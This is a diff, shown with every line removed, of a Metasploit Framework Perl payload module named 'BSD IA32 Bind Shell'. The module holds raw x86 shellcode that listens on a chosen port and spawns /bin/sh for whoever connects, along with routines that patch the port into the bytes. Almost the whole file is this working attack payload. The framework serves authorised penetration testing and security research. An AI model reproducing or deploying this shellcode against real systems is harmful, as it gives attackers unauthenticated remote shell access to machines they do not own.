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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Payload::bsd_ia32_bind;
- use strict;
- use base 'Msf::PayloadComponent::BindConnection';
-
- my $info =
- {
- 'Name' => 'BSD IA32 Bind Shell',
- 'Version' => '$Revision: 1.2 $',
- 'Description' => 'Listen for connection and spawn a shell',
- 'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>',
- 'skape <mmiller [at] hick.org>'],
- 'Arch' => [ 'x86' ],
- 'Priv' => 0,
- 'OS' => [ 'bsd' ],
- 'Size' => '',
- };
-
- sub new
- {
- my $class = shift;
- my $hash = @_ ? shift : { };
- $hash = $class->MergeHashRec($hash, {'Info' => $info});
- my $self = $class->SUPER::new($hash, @_);
-
- $self->_Info->{'Size'} = $self->_GenSize;
- return($self);
- }
-
- sub Build
- {
- my $self = shift;
- return($self->Generate($self->GetVar('LPORT')));
- }
-
- sub Generate {
- my $self = shift;
- my $port = shift;
- my $off_port = 0x8;
- my $port_bin = pack('n', $port);
-
- my $shellcode =
- "\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" .
- "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" .
- "\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a" .
- "\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68" .
- "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80";
-
- substr($shellcode, $off_port, 2, $port_bin);
-
- return($shellcode);
- }
-
- sub _GenSize {
- my $self = shift;
- my $bin = $self->Generate('4444');
- return(length($bin));
- }
-
- 1;
-